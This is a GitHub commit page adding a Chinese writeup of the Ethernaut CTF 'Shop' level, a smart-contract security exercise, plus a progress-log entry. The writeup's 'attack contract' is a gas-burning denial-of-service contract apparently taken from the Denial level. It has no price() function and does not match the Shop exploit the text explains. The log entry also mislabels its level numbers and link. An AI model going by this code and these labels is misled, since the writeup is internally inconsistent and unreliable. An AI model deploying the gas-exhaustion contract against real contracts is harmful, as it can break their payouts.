Skip to content

Commit

Permalink
Merge pull request #971 from geyu210/main
Browse files Browse the repository at this point in the history
2024.09.23
  • Loading branch information
geyu210 authored Sep 23, 2024
2 parents 76d6e98 + cdb3877 commit aee97c9
Show file tree
Hide file tree
Showing 2 changed files with 64 additions and 0 deletions.
60 changes: 60 additions & 0 deletions Writeup/geyu/writeup/21_Shop.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
# 21 - Shop

## 题目
攻击以下合约
```solidity
//
//Сan you get the item from the shop for less than the price asked?
//
//Things that might help:
//Shop expects to be used from a Buyer
//Understanding restrictions of view functions
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
```

## 解题

部署攻击合约如下:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GasBurner {
uint256 n;
function burn() internal {
while (gasleft() > 0) {
n += 1;
}
}
receive() external payable {
burn();
}
}
```
这个合约的问题在于
当 if (_buyer.price() >= price && !isSold) { 时,调用了攻击合约的price 函数,得到的数字必须比shop定义的价格高
isSold = true; 但是在第二次调用时,先改变了 isSold 的状态
price = _buyer.price(); 第二次调用攻击合约的price函数,这是可以根据isSold的状态来给出不同与之前的低价,这样就能够改变 shop 的价格。


4 changes: 4 additions & 0 deletions geyu.md
Original file line number Diff line number Diff line change
Expand Up @@ -92,4 +92,8 @@ writeup:[Privacy](./Writeup/geyu/writeup/19_AlienCodex.md)
参加 blaz ctf
### 2024.09.22
参加 blaz ctf
### 2024.09.23
完成了 ethernaut 第 19 个练习 NaughtCoin
writeup:[Privacy](./Writeup/geyu/writeup/20_Denial.md)

<!-- Content_END -->

0 comments on commit aee97c9

Please sign in to comment.